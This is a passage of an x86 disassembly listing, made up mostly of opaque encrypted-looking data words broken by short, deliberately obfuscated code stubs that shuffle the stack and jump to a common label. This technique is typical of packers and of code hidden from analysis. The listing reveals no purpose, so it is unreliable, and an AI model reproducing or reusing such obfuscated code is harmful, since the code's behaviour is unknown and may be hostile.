4F017DD1h, 1918D01Dh, 0A16F340Fh dd 51848E2Dh, 0C3600CA0h, 649Ah, 0ED6DC300h, 6BE8E24Eh dd 145A94CAh, 4A7CB67h, 33A1ABA4h, 0C479FE30h, 42F16167h dd 0CD6EEC16h, 4BE66B61h, 5FC59BE7h, 566717EDh, 73B36A17h dd 0AD985A7Bh, 98311C70h, 0BD786347h, 0F1632182h, 0F2A04E4h dd 3E7034h, 6D290000h, 0E8E24EEDh, 4367CB6Ch, 4F25970Dh dd 0A2175667h, 0A9DB993Ah, 6733E012h, 82F7393Eh, 0AFB41E96h dd 0CAA6A514h, 35E86F69h, 3B18EF99h, 6C2E1757h, 0D03F500h dd 173340Fh, 2A000000h, 0E34FEE6Dh, 5FFA73BDh, 8773FAFCh dd 30954F02h, 9839BC5Fh, 643498F4h, 77B9AADAh, 0F6F053FEh dd 7D84D085h, 0BD0F512Ch, 12BCD1BAh, 0FEA5D40Dh, 0BD6ECD14h dd 0A7668FD1h, 0FD4B7679h, 81F9F341h, 0D44C116Ch, 0E5BB1BB8h dd 81F7CD7Fh, 0B44A116Ch, 523E9243h, 11C2343Eh, 9041B4B2h dd 42F06AC4h, 116C826Ah, 2DE104DDh, 0DD5035C8h, 0E11412B1h dd 18EA9C30h, 1A116C6Eh, 828824D9h, 0A800AC51h, 634776E6h dd 69CCF3Dh, 6C6DC0B4h, 86AB3311h, 0C8B15268h, 0D7D172ADh dd 74DAB29Eh, 8925D604h, 476AC8E5h, 0A8498C86h, 50046804h dd 0DED664FEh, 51116CDCh, 0E38EC3C9h, 620F4640h, 8691C4CEh dd 610DA156h, 4709A10Dh, 0A24F8615h, 0AFB642F6h, 61C62E24h dd 9F000001h, 1C421B6Eh, 0BC7439AEh, 0F854CC12h, 3AB87BF2h dd 0BA3F3599h, 4B1F731Fh, 0C39D3CB1h, 3705DE2Ah, 0C66567D5h dd 86F63866h, 17472D1h, 7C10C536h, 0C63678D0h, 89DD7CF1h dd 23734B3Dh, 982AB02Eh, 116B94A4h, 752C8F17h, 63h, 4E276E2Ch dd 0AF80F910h, 0E979010Bh, 4C82184Ah, 0C9C36F10h, 2586EA89h dd 5756955Fh, 61966817h, 0D31A10BCh, 8AE68A26h, 483C4AE6h dd 0C6175756h, 0A0558695h, 0A00C600Ch, 0DC7025AAh, 8AABD9D3h dd 0F1F26220h, 260EAB18h, 0FACF11Ch, 7C220B0Ah, 574E26CEh dd 6FE71917h, 600C60CCh, 0B21534h, 6E4C0000h, 0AE1C421Bh dd 12BC455Dh, 0AEA40890h, 24DE8A27h, 42EF66B1h, 0C9F4822Eh dd 2B116C42h, 0DBD08C65h, 0D28F38F9h, 0FAC13371h, 6B92C673h dd 0EDC7751Eh, 40116C34h, 24EAB4D8h, 0F6A407B8h, 8C31A26Ch dd 0F8CC7E20h, 4B116C34h, 661CBFD3h, 0CBD0B34h, 1F85DB43h dd 7ADAD7ADh, 8BF32A0Bh, 0CC0C72B8h, 0DB7BD8B4h, 5DE76C85h dd 28E4A64Ah, 3458F4A5h, 78FDFB58h, 3B6E87D9h, 1F5A92E0h dd 0F5A62822h, 8A6F656h, 43E095C6h, 0B2C7D301h, 0C62FB5EBh dd 0C2384691h, 4F88E0Fh, 0A0B7ABDh, 0FA6215CAh, 5F910B59h dd 0A6DC7F1Ah, 6CB9274h, 164F1B83h, 1C421B6Eh, 0A73C7CAEh dd 0BF138B12h, 7FF740B5h, 7EEB0DCh, 2A98E5C0h, 11650352h dd 0C103DA5h, 0BF5C9254h, 0D22870D3h, 2452FE9Bh, 0FB588B09h dd 5D5A8A80h, 0CE277918h, 151AE0B3h, 11A3FDE3h, 0FB47DC1Bh dd 0D55F66Eh, 4DEC6DA3h, 0B465E8EEh, 32DF1218h, 356E856Ch dd 0E12829BDh, 0CB2E242h, 0A692DBE0h, 767D0DACh, 0BCE88438h dd 0D3040F46h, 62D08E22h, 0FB47C58Ah, 650965FDh, 0BA8AD23Bh dd 2EE96433h, 13FC2D8Dh, 52000000h, 16BA5B9Ch, 397CD97Ah dd 0B7E10AD0h, 0F65581A5h, 0EB6D3895h, 5B929834h, 0DC1812BEh dd 599D973Bh, 0DE1C16BAh, 579B913Dh, 0CF0208A4h, 57848E22h dd 0CF000AA6h db 2Eh, 82h, 0E9h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push edx mov edx, 4 sub ebp, edx pop edx xchg ebp, [esp] pop esp push 536Fh mov [esp], edi push 75D5h mov [esp], eax push 5F15AABh mov edi, [esp] add esp, 4 sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop eax push ebx push edx mov edx, 11EA05C1h mov ebx, 11EA05C9h sub ebx, edx pop edx add ebx, eax mov [ebx], edi pop ebx mov eax, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push dword ptr [esp] pop edi add esp, 4 jmp loc_5488E2 ; --------------------------------------------------------------------------- db 0A0h dd 84649459h, 890ACD5Bh, 5FFEB809h, 0C50305F1h, 4573E0FFh dd 15A74988h, 71BF5ECEh, 5F491A75h, 47337CCDh, 42B011EAh dd 9AD353BDh, 598B50A2h, 2AD00C40h, 1EB764ADh, 0D22C1EE3h dd 0DFE25DBAh, 0A03F6550h, 5ACC5D49h, 75687206h, 47360DE7h dd 2E351CB8h, 348C0ABAh, 8EB1212h, 0 dd 3CA44CCEh, 56CE9h, 61F06800h, 8FE905F1h, 68FFF91Dh dd 5F16297h, 0F91D85E9h, 642A68FFh, 7BE905F1h, 93FFF91Dh dd 14EEBA5Dh, 9C6632E3h, 10EABE5Fh, 9E6430E1h, 4DEBBF5Ch dd 9744B6CCh, 6B539C3h, 8B2CA852h, 1B025DFh, 0DF6DFF55h dd 1D47C6E5h, 6D7DD458h, 0E8E24EEDh, 70EAB465h, 5666EAC2h dd 66C55D17h, 1E5E903Eh, 8925D81Fh, 492589E5h, 0C39AEFEAh dd 73FC2F9Dh, 57CF12BCh, 0ED90C709h, 59B0EE4Eh, 833C098h dd 36B8B275h, 6C5C2685h, 0A2116C12h, 28228E2Bh, 0F5A509AAh dd 98E4194Bh, 0A95FA6D6h, 0DE2E23E4h, 65389237h, 6BBFF1ECh dd 21DA6290h, 742D8EE2h, 356h, 280F242Dh, 0E85A04E1h, 12BC7D53h dd 0DE64BE26h, 0E448E731h, 0C8966FBAh, 6CFBC17Ah, 802CB40Fh dd 30E110DEh, 0B166969Ch, 2E7B7EDDh, 1CBB0957h, 0AF0982C2h dd 82BF3B76h, 0EB8721FFh, 47F27BB5h, 9488F019h, 37E68B71h dd 0BF36CC94h, 88922112h, 0AA2EB75h, 3A6DBh, 0A45B9D00h dd 10C50AF0h, 983DBE44h, 16C336CCh, 993AB842h, 98EA6BCDh dd 17EDB95Ah, 92683CDFh, 13E9BD62h, 0C16B3FDAh, 0C80BE153h dd 0F27E1D47h, 7EF7395Bh, 0F998D9D3h, 9F9A3955h, 4EDB38Ah dd 0B6385EB2h, 1CFA2805h, 0B41E16A4h, 9911756h, 2694C665h dd 12A75403h, 12EA58F2h, 65116553h, 1CF91FDh, 0CAA210D1h dd 3D116552h, 386AC9A5h, 40B184F6h, 0D1633D91h, 116552DBh dd 0B6DAB62Eh, 64D64CE2h, 11655390h, 0DED87BE3h, 2553FF9Ch dd 0E2B88618h, 6112408Eh, 0E091C4C2h, 43732ED3h, 23F25AE2h dd 2FFh, 95C176FAh, 6135E86Fh, 0F1A5589Bh, 7F2BC60Bh, 0F2A65585h dd 29A9D554h, 0B224DE8Ah, 2DAF5501h, 0B124DE8Ah, 6CFE5400h dd 47C8E6DEh, 7CD5591Dh, 1C421B6Eh, 0A7068BAEh, 4EE27A12h dd 0FB98DE10h, 0E2983B57h, 1165060Eh, 0A2DD346Ah, 14E85A3Ah dd 6711649Ah, 7ADBD2FFh, 92C28023h, 1C60BD4Bh, 1F0C92Eh dd 6D900000h, 0D91749E8h, 674AE695h, 584D8AFAh, 7DDEB219h dd 0F39ED7DDh, 7BEC63ADh, 56B5F3C9h, 0B2DE4617h, 89D1721Eh dd 25C2970h, 0BCC467B0h, 129A7312h, 0B8599CABh, 1B557814h dd 3F44E783h, 80EC93C1h, 31E210DEh, 2DE1AC1Ch, 389B2EF7h dd 0E01AEE98h, 3866116Ch, 7DD186F6h, 0E2493C11h, 0EBF90F40h dd 93DA0A48h, 2E24DBE5h, 2C11h, 1B6E4800h, 0B5AE1C42h dd 4812BC48h, 360A7CD0h, 0F4116C38h, 7278D485h, 0A2F25EFBh dd 0B1CDF01Ch, 0B8408DFFh, 0C42E240Ah, 0F7h, 2FE86D9Dh dd 4AE76EABh, 4AE68AE6h, 0EAF2C26h, 0EA2CEA2h, 0FE17D604h dd 5F1CD1BDh, 6F4533D5h, 0C21756EBh, 909A365Ah, 2CE2BC5Dh dd 0BAB08A9h, 792DCC01h, 56E6AFFFh, 485EB717h, 9C8381D1h dd 83CACC6Fh, 0F4688D6h, 8FA2CE62h, 5C69E74Eh, 8DD57690h dd 42A0CA23h, 0DBF4C87Ah, 0DF471756h, 206298F2h, 0AA738683h dd 75D446F4h, 0FB6312BBh, 34E76BA5h, 6A42F06Ah, 0DD116A43h dd 55084F45h, 6E3695F9h, 86B56694h, 0E23E82FBh, 6C68B911h dd 47000001h, 0C03A6E11h, 40BAEE8Fh, 0CC366213h, 42B8EC8Dh dd 91376310h, 0B3609210h, 3AD91DE7h, 0B768946Eh, 25D419E3h dd 0FB49DB71h, 1D47CB01h, 3951F874h, 72D184F7h, 0B550674h dd 568592C5h, 0B670BA7h, 0C30AF0A8h, 0D2A14816h, 235439EDh dd 0D485F4FEh, 0EFB71478h, 5FA6A841h, 0DF79D103h, 2549E598h dd 6D4FEA49h, 0BBE549E8h, 9A5C052h, 49EA3E00h, 3F6B064Fh dd 4E8CB3C6h, 6B41F3ADh, 0DE175687h, 0C6742A46h, 12BC4B11h dd 2CE2BC24h, 0F7590DAEh, 0A905B439h, 0EA8DCFC5h, 3B3D3349h dd 88CD116Ch, 0F479B7E9h, 8F85E945h, 6E369548h, 0B1C329C0h dd 3B16C509h, 0EF4CC78Ah, 66CA69E9h, 0AAB7h, 1B6EEE00h dd 66EAC270h, 0C55D1756h, 0AD1EF7A9h, 11F02CB9h, 0AF2418AAh dd 0F971756h, 0EF2B4E63h, 8821E082h, 79E3792Bh, 569EF1CBh dd 0CE9D4417h, 0E1508DC1h, 8FF5563Ah, 12A77F66h, 6B61CD55h dd 0F36937E2h, 657F6B41h, 9507DE11h, 0EE012479h, 3E66C5A9h dd 93307990h, 0E69D2C9Bh, 6F0A4345h, 1110B5C3h, 0CDC72813h dd 24D5189Fh, 96438A70h, 10C1303Ah, 2252ECBCh, 13E95BC1h dd 66D81100h, 6D736ABFh, 0EE828668h, 57024B4Dh, 0C574F903h dd 0D26E729Bh, 4121B9D7h, 0C9342E2h, 0CA000000h, 0DF48D039h dd 5567ADF1h, 6D3895F6h, 929834EBh, 1812BE5Bh, 9D973BDCh dd 1C16BA59h, 9B913DDEh, 208A457h, 848E22CFh, 0AA657h dd 0E9822ECFh, 238368h, 24048900h, 405E089h, 83000000h dd 48704E8h, 89525C24h, 4C281E2h, 83000000h, 148704EAh dd 1C895C24h, 308E6824h, 3C890000h, 0BF575524h, 254B5FE6h dd 0BA3F18BDh, 5FFD3120h, 545DEB89h, 81243C8Bh, 4C4h, 10226800h dd 1C890000h, 8478F24h db 8Bh, 3Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov ebx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_5488E2 ; --------------------------------------------------------------------------- dd 41529E27h, 27DB03Dh, 3949C5BDh, 65BBB82Fh, 0C50305F1h dd 7B94E0FFh, 126732E2h, 0B0BE57B5h, 6DDE794Bh, 51426913h dd 0B80765B1h, 7C927560h, 0D87778E3h, 28167AD9h, 64DF053Dh dd 24523FE1h, 37D80460h, 985965ABh, 389C054Ah, 9C11341Ah dd 0B874080Bh, 0DDC82C30h, 0E4750CC2h, 2F571F9Eh, 0DE0B8Ch dd 2A3961EDh, 0E2A61E9Fh, 6A017780h, 7CE06E4Ah, 0BA6310D9h dd 4EB3D67h, 2088028Dh, 570E9h, 7027A900h, 0E499DE24h dd 54094AB0h, 0DA77FA00h, 5506748Eh, 5C26A701h, 0D3297D1Eh dd 56ACF89Bh, 0DF257126h, 5AFFB96h, 0CD4F2597h, 2EA21D47h dd 49E86D87h, 0AE6BEFE5h, 0F44629h, 73175667h, 472B87EBh dd 50857F2Bh, 0CE070DA1h, 0CA661545h, 6C66CAA6h, 0E9E64AEBh dd 977E71E3h, 6317C5A4h, 0C7752BF3h, 17568CEDh, 7D7BD840h dd 0EE0759F8h, 5780391h, 366ECDBCh, 0BCB00298h, 0F175750h dd 0C2323497h, 2D41F47Bh, 0AE518379h, 15C60802h, 2557E9B9h dd 29CA0CC2h, 4C4AE985h, 0C13B6F10h, 3741ED8Ch, 17575140h dd 3D48B4F6h, 340F234Bh, 7CBBh, 0E86DE200h, 9F93E549h dd 0AB175666h, 0A6687BE9h, 3D32C32Fh, 82A5F885h, 2A02B0EEh dd 9D175663h, 1AEEA605h, 6A340E35h, 0Fh, 15CA0AC4h, 9FF8D5B9h dd 0AB0AA1h, 6D45E043h, 0B9E74BEAh, 669B9123h, 10EE1756h dd 0F19D31E2h, 0B7383E9Dh, 3AF4AA06h, 0BFB91AB7h, 3C339F3Ah dd 7EF1C636h, 0EB258BDFh, 701CB063h, 0F1A0D5D3h, 0AD8735AFh dd 175665h, 74D87DFEh, 8FD77418h, 4EED6DD6h, 8055BCE2h dd 959DCBDAh, 9FD0D675h, 0A4FA52FEh, 32B88C3Eh, 90221757h dd 1757329Ch, 980077EFh, 8C0B793Bh, 3F9AD4Eh, 89832FCAh dd 7B07AB4Ah, 0BABEC735h, 0CA340F09h, 73h, 752AAA64h, 0ED6D73D6h dd 6BE8E24Eh, 21BB8E8Bh, 0D5B99711h, 107C7679h, 14A6478Bh dd 17573420h, 33670B93h, 46EA89C9h, 0C06C0D4Ch, 6182F2BCh dd 347349FBh, 5EC61757h, 0BB3B5FDh, 47C3340Fh, 6D000000h dd 9BB2CA3h, 17572933h, 0D1721E86h, 4EED6D74h, 0FF9CDE10h dd 86F6FC5Ch, 675B51E3h, 36AE1756h, 9CD2F65Ah, 0DE7D2252h dd 0A72B709Ch, 6DF9A0F4h, 91E74BEAh, 1756669Eh, 9FE61654h dd 340E38E9h, 115h, 0EE6D4C00h, 64E9E34Fh, 91FDA0D3h, 0A1D36D3Dh dd 7024D91Ah, 0FBA58089h, 0BC446649h, 0C173D912h, 116C41EBh dd 0F4AAC65Eh, 0B71BB83Ah, 86D878DBh, 0CA690A48h, 4B8E89CCh dd 26E02AEh, 0D560925Ch, 305CF0A7h, 9A7FF5Ch, 43E093C7h dd 0E5201045h, 0C880CC21h, 614E85Ah, 0FF67116Ch, 6FA1FF93h dd 0E9E34FEAh, 0B67CB6Ah, 1264C467h, 116C0620h, 0A5F2623Ch dd 2FD58130h, 0F9A70BA6h, 5DBD163h, 0B62E116Ch, 3FDA1315h dd 7753B93h, 4AA82AE4h, 363ED597h, 0A0AAC642h, 282E8D2Eh dd 14A0F4A5h, 2E242D64h, 1B490h, 81F03E00h, 6ED673D0h dd 0D21C421Bh, 0D876BDA1h, 0F5E0E545h, 0FA593599h, 1AA832A8h dd 1756BD22h, 0D4AE0D95h, 12BCCA43h, 0FDF745DFh, 70116CA6h dd 0A8304BE8h, 2AC70E04h, 0A051847Eh, 44CF060Ch, 0A00C6011h dd 81164608h, 4DF9AD4Ch, 2E2479BBh, 96CBh, 1C8C6500h, 0A7549A47h dd 804A670Bh, 6ECB68ECh, 0CE7C276Eh, 175666F6h, 0E3BDD149h dd 0DE3A9079h, 1DD34D87h, 6E20C4BEh, 8B131756h, 45B77927h dd 0F1523E92h, 566DB18Bh, 46F57917h, 0CD6EE0EAh, 0E91B4561h dd 0A54C1EB4h, 7D52B58Fh, 6426854Fh, 0EE65A0F8h, 965C96Eh dd 3BA13B65h, 5667B389h, 1EAC0617h, 17566826h, 0CE6D0199h dd 5667F0B4h, 55BC317h, 77D487CBh, 1568812Fh, 0E4FDFCDFh dd 0FBF1431Dh, 4E17569Bh, 0D2A875D6h, 6000000h, 47EB8CC8h dd 6E2D882Bh, 0AE1C421Bh, 12BC455Dh, 0CC560890h, 6C43867Eh dd 6B61F911h, 0F69A36E9h, 76FFF555h, 74B85DBh, 0B418BD32h dd 7418B4D8h, 42A4982Ah, 8F17116Ch, 478E742Ch, 43EF90CCh dd 0FA560549h, 3A96FA96h, 6C43414Ch, 8FFDA311h, 0B360925Ch dd 0D6D0731Fh, 5FA6F29Fh, 9F2D734Ah, 0CBCDB32h, 26E29841h dd 0B3691BEFh, 0A91B81DFh, 0B7B26D3h, 0BD1DBE26h, 13A13EB7h dd 0B7B2719h, 0D7D9F46Ch, 3CD8720Eh, 2A208CE0h, 505AF6A3h dd 81D17D1Eh, 0F8A8CD3Fh, 867ECC56h, 0F90B7AD3h, 49C34C61h dd 7B84536Eh, 2E6A9AD8h, 0B55C02DBh, 0D88F753Ch, 4311B242h dd 25D330D9h, 0B707073Eh, 5A236E14h, 8B5206CBh, 5EEFE2C4h dd 401478C7h, 1CD03919h, 0E41DA5DFh, 0FE0B0EADh, 7ECB7927h dd 0A412A733h, 18F7B14Dh, 0C56660AAh, 808A26BEh, 2F8AC4Dh dd 0DC822ECBh, 2A3EA735h, 71D2E53Ah, 3DA4090Bh, 9ECEC42Ch dd 0AE51834Dh, 17C20B0Dh, 8534B943h, 54E115DBh, 0B91A7627h dd 0BBAE4719h, 2E6F12FFh, 3FB2B417h, 0D06E3E92h, 33DE17A4h dd 0B9589D67h, 0AC415h, 89D0000h, 0B95A9C52h, 7FDA7915h dd 9834EB6Dh, 12BE5B92h, 973BDC18h, 16BA599Dh, 913DDE1Ch dd 8A4579Bh, 8E22CF02h, 0AA65784h, 822ECF00h, 38E268E9h dd 2C890000h, 76786824h, 0C890000h, 41FC6824h, 3C890000h dd 4E685324h, 5B6F1D70h, 4FE6EB81h, 0B8506A00h, 3A0A713Fh dd 35404048h, 47D515E1h, 8158C331h, 2F21FBC3h, 5BD9898Dh dd 4EC81h, 24890000h, 24048324h, 0EC835F04h, 240C8904h dd 0FF08478Fh, 815F2434h, 4C4h, 240C8B00h, 81E38953h, 4C3h dd 4C38100h, 87000000h, 0E95C241Ch, 0FFF9124Eh, 78755BCCh dd 0ED65AC4Fh, 6BB0B870h, 0C50305F1h, 1DCEE0FFh, 7A9901E4h dd 375317A0h, 0DF8D33C0h, 99597162h, 9B3F2D67h, 6BFD539Fh dd 91909C0h, 52B628FFh, 4EB71BCh, 0E3AD18Dh, 4E5E9h, 28CF0100h dd 0AC51867Ch, 2CD102F8h, 0A24F8278h, 2DCE0CF6h, 245EDF79h dd 0AB5105B6h, 0DE247023h, 57ADF99Eh, 8D27731Eh, 0D2D7AD1Fh dd 0A62A1D47h, 49E86D0Fh, 0C86BEFE5h, 42EF669Ch, 0C071E4EEh dd 4CF1666Ch, 77E5EFE0h, 0E76AAD20h, 0D9BAF60Bh, 107CC796h dd 6F86287Ch, 4F7A4193h, 222487B0h, 0A3590DB2h, 7C228E31h dd 31923FB2h, 0F37ABF37h, 6FE0EA46h, 620E62CEh, 4CF2A20Eh dd 0A6599B20h, 1CC136F8h, 0D81DE7BFh, 2BA96739h, 17B4D874h dd 0CEEC1B7h, 46041757h, 0DF39CF16h, 5145340Eh, 1C000000h dd 0E549E86Dh, 56669F93h, 37F9AB17h, 0D3BF13BEh, 0A1C23270h dd 0EC4FEA6Fh, 0E37D4A4h, 12034h, 6D790000h, 0EDE74BEAh dd 0C92FAD6Ah, 6461EDCAh, 4EE28EA7h, 0E8E24E22h, 6B64C869h dd 33A4F361h, 0A92CD682h, 1BF25C08h, 9ED8F8F1h, 8C298ABCh dd 0D37EF739h, 0B6B0137Fh, 313B9744h, 0B9B31FBEh, 23298534h dd 0ABA408ABh, 0AA0233A1h, 9E7778E4h, 96A82121h, 9791327Bh dd 1EE4B063h, 0AA643AD7h, 76D6752Ah, 0F25EFF7Ch, 5394C08Eh dd 13BF5E9Dh, 5505FF4Dh, 0E0781757h, 81672F8Ch, 8D340F2Dh dd 57h, 0FED6DD4h, 60E0CAFh, 9344B0F3h, 353F93FFh, 0B4BB17C6h dd 9494EBEh, 96C43E6Ah, 0E4349E5h, 0FDB3CF63h, 0E8A2468Fh dd 46D2340Eh, 8B000000h, 0E30FED6Dh, 937ECA53h, 5C56FA96h dd 0F7D37F20h, 0FE7C3BA9h, 30E7DD6Fh, 0F05A1757h, 57316A42h dd 2945DD17h, 6D481145h, 0DB154BEAh, 2448E497h, 5E512787h dd 94175667h, 0A95FA6D6h, 0D5340E39h, 1, 4FEE6D8Ch, 0F464E9E3h dd 9104E3B5h, 39DC1F97h, 0A9673955h, 0B5D97524h dd 3C9F3ABFh, 0B065969Ch, 30E5161Ch, 0A7A349Ch, 35916BD9h dd 7CE41757h, 8EFE4010h, 7F2BCA09h, 468C38D1h, 0B9C6D105h dd 330A1F1Ah, 8D30A36Dh, 0BE604D21h, 0E201B3Ah, 0A91B49EAh dd 12BC91C6h, 31FFA139h, 0D1BD11C0h, 95D8D272h, 34AB0E4h dd 9123C230h, 116C8F9Bh, 761A76EEh, 8EDEACDAh, 207E116Ch dd 0C36EE7B4h, 49E86D97h, 0B252BBE5h, 0E2DA686Bh, 55116C84h dd 5B92E0CDh, 529B9D3Eh, 4DE190C1h, 0CF630E47h, 0FA3CFA3h dd 3C7BE9A7h, 3CF77EB9h, 0DD711DBEh, 3D89DDB1h, 2E244B4Bh dd 134BBh, 1B6EE200h, 39AE1C42h, 0CC12BC74h, 68A6F854h dd 88E448E9h, 9A82D2Bh, 832EA75Dh, 1B0252Fh, 0B25B05ADh dd 5BD85BF1h, 5614B7DAh, 0BD5C9126h, 498947E9h, 82EE8FCCh dd 0A9E1422Eh, 2E23B9DFh, 492Fh, 276E7600h, 0FAA2104Eh dd 0CD175666h, 0B58FF955h, 75175665h, 0F4FE5201h, 9344B087h dd 0B5FB53FFh, 0FEBC1647h, 220B0A8Eh, 0AB28E67Ch, 9D3A90Ah dd 0FC175666h, 87F43A64h, 3B167AD6h, 0DE9B9730h, 4B13B000h dd 0A86Ah, 0F7393300h, 8732BB80h, 872B472Bh, 67916BD9h dd 7CE41756h, 63B6B310h, 576C49Ah, 3812BC46h, 0CF060CA0h dd 3B445063h, 70D4245h, 1B4F23CEh, 61CD6CE1h, 6B7BE617h dd 6C98C611h, 550BA62Fh, 7B877DCFh, 62FA116Bh, 0DE3799C1h dd 0FA0C7DCDh, 4502D7E9h, 0DF07D9F4h, 15EF5D03h, 68116BEAh dd 435653F0h, 396247Ah, 0B20CBC8Eh, 498C862Ah, 102AB9E9h dd 335F1CB3h, 0FB61CF9Fh, 7AA47349h, 0FD5EC60Bh, 3C4D4DBFh dd 8D21D407h, 61D38DE1h, 6CB48F0h, 0EBB7469Fh, 0E3D6DA06h dd 67FA9E13h, 0C9C3AF3Ah, 0EDB9D584h, 701B6EB4h, 5666EAC2h dd 0CFC55D17h, 2A46EA8Dh, 37AA1846h, 0C612A70Bh, 62ACF25Eh dd 0E7E142EFh, 6D97C36Eh, 93E549E8h, 16AC59A6h, 3235A7ADh dd 59221AA8h, 0D950599h, 7425A8AEh, 0E693DA20h, 6011404Ah dd 5DBAD73Eh, 0A6B1D40Dh, 4BF5A505h, 0AE4B8219h, 2CCD00FAh dd 4237DE80h, 0EA61B5EFh, 0F854074Fh, 865BF894h, 14h, 11A339DFh dd 1756671Bh, 0F5DBF66Eh, 6B35C8Ah, 329FFC5Fh, 9834EB6Dh dd 12BE5B92h, 973BDC18h, 16BA599Dh, 913DDE1Ch, 8A4579Bh dd 8E22CF02h, 0AA65784h, 822ECF00h, 5B5453E9h, 4C381h dd 0EB830000h, 241C8704h, 0E389535Ch, 4C381h, 0EB830000h dd 241C8704h, 2434895Ch, 81E18951h, 4C1h, 4E98300h, 5C240C87h dd 57240C89h, 783C28BFh, 44BE564Ah, 314F8950h, 0FE895EF7h dd 22C8685Fh, 24890000h, 24048124h, 4, 0BD555659h, 0EEB7601h dd 4246C29h, 8418F5Dh, 1084181h, 8B0EEB76h, 8952240Ch dd 4C281E2h, 81000000h, 4C2h, 24148700h, 2434FF5Ch, 4C4835Eh dd 0F90D2DE9h, 0D6E2CDFFh, 0BCB8640Ah, 305F170h, 33E0FFC5h dd 9F0AABE0h, 0B059396Dh, 2F289606h, 60442E66h, 0BE786E06h dd 166BDE7h, 0C81300B2h, 787D4754h, 0A8091AE9h, 2D435B09h dd 6B69161Ch, 0EE17F0CBh, 0AF1FDB74h, 0EF0D92ECh, 7F024909h dd 0A8011FD9h, 0EA1ACFFEh, 305BF6DBh, 0DE487487h, 1C456117h dd 9D3D860Fh, 26F1A90h, 8D45C3F2h, 0F172938Dh, 51006A05h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 3C677223h, 1AF5B288h, 0DE8h, 0C29CD400h, 247DCA1Bh dd 134EB9F7h, 9D8B9AC3h, 5EA2401h, 0DD8D895Ah, 6A05EA0Ah dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 0B570C357h, 8B3C58E8h, 28E0F4Bh, 0B0000000h dd 0CD85C7A6h, 0BC05EA0Ah, 6A000059h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 1557C350h dd 6C3BBE47h, 85C731A8h, 5EA25F5h, 0 dd 0BF5B5FFh, 6A05EAh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 99F1F2C3h, 2A1995FFh, 8B6605EAh dd 0FF006ADEh, 0EA101595h, 0EBC08B05h, 0D322DE79h, 0B1329A3Dh dd 0AC4E48F0h, 0CD2F135Ah, 11AC9B96h, 0F8D8CB24h, 1DDDF60Ah dd 0A7246D88h, 0C9B3656h, 0EE39D653h, 0FAE9C68Dh, 0EB885BE1h dd 0F770C889h, 7C69335h, 3818A5D6h, 3DE78201h, 0F1DB99C6h dd 8ED1CD00h, 0FDFEDFD2h, 7D100B82h, 0CB72FFA2h, 0C82CC5DEh dd 0FD2F43BDh, 13D27A89h, 80557767h, 0EBC4CB90h, 9C9F2F35h dd 3CE014BFh, 63BEB273h, 17C4A772h, 4EBE12Fh, 7480CAA5h dd 0D2EE9h, 750D6800h, 53E905F1h, 68FFF90Bh, 5F1760Eh dd 0F90B49E9h, 780268FFh, 3FE905F1h, 68FFF90Bh, 5F1792Eh dd 0F90B35E9h, 7C2868FFh, 2BE905F1h, 68FFF90Bh, 5F17D86h dd 0F90B21E9h, 7EA568FFh, 17E905F1h, 0FFFF90Bh, 0B84216C9h dd 28D28637h, 0A45E0AABh, 2AD08435h, 0F95F0BA8h, 2BC80A78h dd 0A251857Fh, 2FD00CF6h, 0AD4C817Bh, 73C153F9h, 1D47DA79h dd 6DE940CCh, 0EFE549E8h, 0C537F966h, 67906412h, 0F5B91756h dd 33CDC70h, 0A972ABDCh, 80F3105Ah, 0C19FF39Fh, 1281B728h dd 249603DCh, 1756BD50h, 0F4573BA3h, 79900A54h, 0EC3C2255h dd 0E2DAAC38h, 551756D5h, 0EC686ECDh, 97DB154Bh, 0B7E747E4h dd 99DCDB09h, 2456ACF8h, 9D31E011h, 33C99DF1h, 0B9B31FBAh dd 2F05B734h, 821756D6h, 0DB22761Ah, 1BA9F7CEh, 12BCE4CCh dd 0C6BE0C96h, 39116CC1h, 0C24B2193h, 26BE116Ch, 3892E94Ah dd 6CC1B28Ah, 0F19D0511h, 0C2552B5Dh, 0FDA3116Ch, 40087914h dd 92312BA9h, 0AF59A4D0h, 0DF2E248Bh, 36h, 7EF73986h, 3D9140B5h dd 0FD913D51h, 774E5B5Eh, 48809B29h, 0CD3312BCh, 2B87EB8Ah dd 6C386B5Dh, 699BD511h, 0D687C806h, 0FDB5167Ah, 2E240A0Bh dd 0E17Bh, 0E86D2200h, 6BEFE549h, 0E76E64C8h, 0DACFF30Bh dd 583450DCh, 0EA8BC806h, 29892A46h, 8534B977h, 0CAF2329h dd 90C5C360h, 0E233B5E1h, 0AC1756E9h, 0FD6CEE29h, 56E9754Fh dd 3C50C817h, 43AA0450h, 6672D5ABh, 32A4AEFFh, 0B1242281h dd 54A5AC00h, 0DA65D789h, 6D12BCCDh, 0B342ABF5h, 0E8F11A3Eh dd 9B623A99h, 0E9B78Eh, 0A75FA772h, 0A6F45747h, 0D0D1EF14h dd 0FB7C820Ch, 0F69AF65Ah, 47F466A8h, 3B318319h, 8E0B7F9Fh dd 17EDB516h, 0A80330E3h, 7CE82939h, 0A9205D4h, 0F0600000h dd 6EE11B4Fh, 0F2619BCFh, 6CED1743h, 0EF6399CDh, 3FBE184Ch dd 34601347h, 0BFEB88CEh, 34601745h, 0BEEA87CEh, 40348614h dd 0B31D47DCh, 0ED6D963Fh, 0A60AAB28h, 8F2A6CAh, 38FB72C5h dd 0DBB71BBCh, 1B771BB7h, 1B6E164Fh, 0B5AE1C42h, 4812BC48h dd 0EC227CD0h, 0E62CE6Fh, 37E1D7ADh, 115F116Ch, 9EE9AE3h dd 0D41E2E24h, 47000000h, 0D083F739h, 63007573h, 5666DBD1h dd 0DAB62E17h, 71E62876h, 0E9696FCCh, 0A10DAE2Ch, 7B0DA1CDh dd 1756632Ah, 1440F164h, 66CA67EEh, 1D431A6Fh, 0BC6820AFh dd 0C234FA12h, 72D1BD11h, 3CC59109h, 0D44E10EDh, 1446D51Ah dd 0CBA7CB67h, 